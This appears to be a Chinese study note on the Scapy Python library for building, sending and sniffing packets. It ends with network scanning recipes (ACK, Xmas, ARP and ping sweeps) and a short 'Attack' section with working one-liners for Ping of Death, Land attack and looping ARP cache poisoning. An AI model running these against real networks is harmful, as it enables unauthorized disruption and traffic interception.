List [CTL]
Scapy学习笔记
本文参考Scapy官方文档中文翻译
Scapy是一个能构造或解析多种网络协议报文的Python库。可以伪造或者解析多种协议的报文,还具有发送、捕获、匹配请求和响应这些报文以及更多的功能
构建IP报文
import scapy.all as sca
a = sca.IP(dst = "www.google.com/30")
print(a)
#<IP dst=Net('www.google.com/30') |>
print([i for i in a])
#[<IP dst=199.59.148.96 |>, <IP dst=199.59.148.97 |>, <IP dst=199.59.148.98 |>, <IP dst=199.59.148.99 |>]
使用”/”堆加层次,基于OSI模型:
构建以太网/IP/TCP报文
>>>sca.Ether(dst="ff:ff:ff:ff:ff:ff")/sca.IP(dst=["ketchup.com", "mayo.com"], ttl=(1,9))/sca.UDP()
<Ether dst=ff:ff:ff:ff:ff:ff type=0x800 |<IP frag=0 ttl=(1, 9) proto=udp dst=[Net('ketchup.com'), Net('mayo.com')] |<UDP |>>>
堆叠报文
>>> sca.IP()
<IP |>
>>> sca.IP()/sca.TCP()
<IP frag=0 proto=TCP |<TCP |>>
>>> sca.Ether()/sca.IP()/sca.TCP()
<Ether type=0x800 |<IP frag=0 proto=TCP |<TCP |>>>
>>> sca.IP()/sca.TCP()/"GET / HTTP/1.0\r\n\r\n"
<IP frag=0 proto=TCP |<TCP |<Raw load='GET / HTTP/1.0\r\n\r\n' |>>>
>>> sca.Ether()/sca.IP()/sca.IP()/sca.UDP()
<Ether type=0x800 |<IP frag=0 proto=IP |<IP frag=0 proto=UDP |<UDP |>>>>
>>> sca.IP(proto=55)/sca.TCP()
<IP frag=0 proto=55 |<TCP |>>
IP对象都可以通过点操作符访问对象
查询是否包含指定的协议层次或获取指定层次 getlayer(sca.TCP) haslayer(sca.TCP)
操作报文
- Hexdump
a = sca.IP()/sca.TCP()/"GET / HTTP/1.0\r\n\r\n"
sca.hexdump(a)
>>> sca.hexdump(a)
0000 45 00 00 3A 00 01 00 00 40 06 7C BB 7F 00 00 01 E..:....@.|.....
0010 7F 00 00 01 00 14 00 50 00 00 00 00 00 00 00 00 .......P........
0020 50 02 20 00 B2 CA 00 00 47 45 54 20 2F 20 48 54 P. .....GET / HT
0030 54 50 2F 31 2E 30 0D 0A 0D 0A TP/1.0....
- str()
b = str(a)
c = sca.Ether(b.encode())
#<Ether dst=62:27:45:5c:78:30 src=30:5c:78:30:30:3a type=0x5c78 |<Raw load="00\\x01\\x00\\x00@\\x06|\\xbb\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xb2\\xca\\x00\\x00GET / HTTP/1.0\\r\\n\\r\\n'" |>>
Scapy还是应该用Python2写,Python3默认字节流不是很兼容
读取Pcap文件
Pcap是一些工具如Wireshark,Aircrack-ng抓到的数据包
a = rdpcap("test.cap")
print(a)
#<test.cap: UDP:518 TCP:231 ICMP:0 Other:0>
创建一组数据包
a = sca.IP(ttl = [1,2,(3,5)])
print([i for i in a])
#[<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=3 |>, <IP ttl=4 |>, <IP ttl=5 |>]
堆叠数据包
a = sca.IP(dst = "www.google.com/30")
b = sca.TCP(dport = [80,443])
print([i for i in a/b])
#[<IP frag=0 proto=tcp dst=31.13.66.20 |<TCP dport=http |>>, <IP frag=0 proto=tcp dst=31.13.66.20 |<TCP dport=https |>>, <IP frag=0 proto=tcp dst=31.13.66.21 |<TCP dport=http |>>, <IP frag=0 proto=tcp dst=31.13.66.21 |<TCP dport=https |>>, <IP frag=0 proto=tcp dst=31.13.66.22 |<TCP dport=http |>>, <IP frag=0 proto=tcp dst=31.13.66.22 |<TCP dport=https |>>, <IP frag=0 proto=tcp dst=31.13.66.23 |<TCP dport=http |>>, <IP frag=0 proto=tcp dst=31.13.66.23 |<TCP dport=https |>>]
方法 | 用途 |
---|---|
summary() | 显示一个关于每个数据包的摘要列表 |
nsummary() | 同上,但规定了数据包数量 |
conversations() | 显示一个会话图表 |
show() | 显示首选表示(通常用nsummary()) |
filter() | 返回一个lambda过滤后的数据包列表 |
hexdump() | 返回所有数据包的一个hexdump |
hexraw() | 返回所以数据包Raw layer的hexdump |
padding() | 返回一个带填充的数据包的hexdump |
nzpadding() | 返回一个具有非零填充的数据包的hexdump |
plot() | 规划一个应用到数据包列表的lambda函数 |
make table() | 根据lambda函数来显示表格 |
发送数据包
send()函数会在第三层发送数据包,sendp()会在第二层
>>> sca.send(sca.IP(dst="1.2.3.4")/sca.ICMP())
.
Sent 1 packets.
>>> sca.sendp(sca.Ether()/sca.IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1")
....
Sent 4 packets.
Fuzz()函数,软件测试,漏洞挖掘经常用到
>>> sca.send(sca.IP(dst="www.baidu.com")/sca.fuzz(sca.UDP()))
.
Sent 1 packets.
发送和接收数据包
sr()函数用来发送数据包和接收应答。该函数返回一对数据包及其应答,还有无应答的数据包。sr1()函数用来返回一个应答数据包,以上发送的数据包必须是第3层报文(IP,ARP等)。
srp()则是使用第2层报文(以太网,802.3等)。
>>> r = sca.sr(sca.IP(dst="www.baidu.com")/sca.ICMP())
Begin emission:
Finished to send 1 packets.
...*
Received 4 packets, got 1 answers, remaining 0 packets
>>> r
(<Results: TCP:0 UDP:0 ICMP:1 Other:0>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)
>>> r[0].show()
0000 IP / ICMP 192.168.1.101 > 111.13.100.92 echo-request 0 ==> IP / ICMP 111.13.100.92 > 192.168.1.101 echo-reply 0 / Padding
发送SYN握手包
>>>sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S"))
Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x20 len=44 id=33529 flags= frag=0L ttl=244
proto=TCP chksum=0x6a34 src=72.14.207.99 dst=192.168.1.100 options=// |
<TCP sport=www dport=ftp-data seq=2487238601L ack=1 dataofs=6L reserved=0L
flags=SA window=8190 chksum=0xcdc7 urgptr=0 options=[('MSS', 536)] |
<Padding load='V\xf7' |>>>
TCP Tracert 实现Dos下Tracert指令功能
>>>ans,unans=sca.sr(sca.IP(dst="www.baidu.com", ttl=(4,25),id=sca.RandShort())/sca.TCP(flags=0x2))
for snd,rcv in ans:
print(snd.ttl, rcv.src, isinstance(rcv.payload, sca.TCP))
'''
4 111.13.100.92 True
5 111.13.100.92 True
6 111.13.100.92 True
7 111.13.100.92 True
8 111.13.100.92 True
9 111.13.100.92 True
10 111.13.100.92 True
11 111.13.100.92 True
12 111.13.100.92 True
13 111.13.100.92 True
14 111.13.100.92 True
15 111.13.100.92 True
'''
嗅探
sca.sniff(filter:str,count:int,iface:str,prn:func)
sniff的prn为回调函数,每抓到一个符合过滤器规则的包就以其为参数传入执行一次prn函数,通常用lambda写prn
#demo
a = sca.sniff(filter="host 127.0.0.1 and icmp",iface="wlan0",count = 10,prn=lambda x:x.show())
a.summary()
控制输出信息,使用sprintf()方法:
a = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))
嗅探的filter,类似于wireshark的filter规则:
a=sniff(filter="tcp and ( port 25 or port 110 )",prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport% %2s,TCP.flags% : %TCP.payload%"))
循环发送数据包
srloop(IP(dst="www.google.com/30")/TCP())
数据包的读写
使用wrpcap()和rdpcap()函数 wrpcap("a.cap",a)
更快的traceroute
sca.traceroute(["www.google.com"],maxttl=20)
通过发送TCP Ack包来实现TCP扫描
ans,unans = sca.sr(sca.IP(dst="www.baidu.org")/sca.TCP(dport=[80,666],flags="A"))
for s,r in ans:
if s[TCP].dport == r[TCP].sport:
print(str(s[TCP].dport) + " is unfiltered")
Xmax Scan
ans,unans = sca.sr(sca.IP(dst="192.168.1.1")/sca.TCP(dport=666,flags="FPU") )
Arp数据包,通过广播arp包发现内网主机
ans,unans=sca.srp(sca.Ether(dst="ff:ff:ff:ff:ff:ff")/sca.ARP(pdst="192.168.1.0/24"),timeout=2)
ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )
#功能相同的Built-in函数
sca.arping("192.168.1.*")
ICMP Ping
ans,unans=sca.sr(sca.IP(dst="192.168.1.1-254")/sca.ICMP())
ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive") )
TCP Ping
ans,unans=sca.sr(sca.IP(dst="192.168.1.*")/sca.TCP(dport=80,flags="S"))
ans.summary(lambda(s,r) : r.sprintf("%IP.src% is alive"))
UDP Ping
#选极可能关闭的端口,让存活主机产生ICMP Port unreachable error
ans,unans=sca.sr(sca.IP(dst="192.168.*.1-10")/sca.UDP(dport=0))
ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )
Attack
Ping of Death(当然,早就不管用了) send(fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)))
Land attack send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
ARP Poison
send(Ether(dst=clientMAC)/ARP(op="who-has",psrc=gateway,pdst=client),inter=RandNum(10,40),loop=1)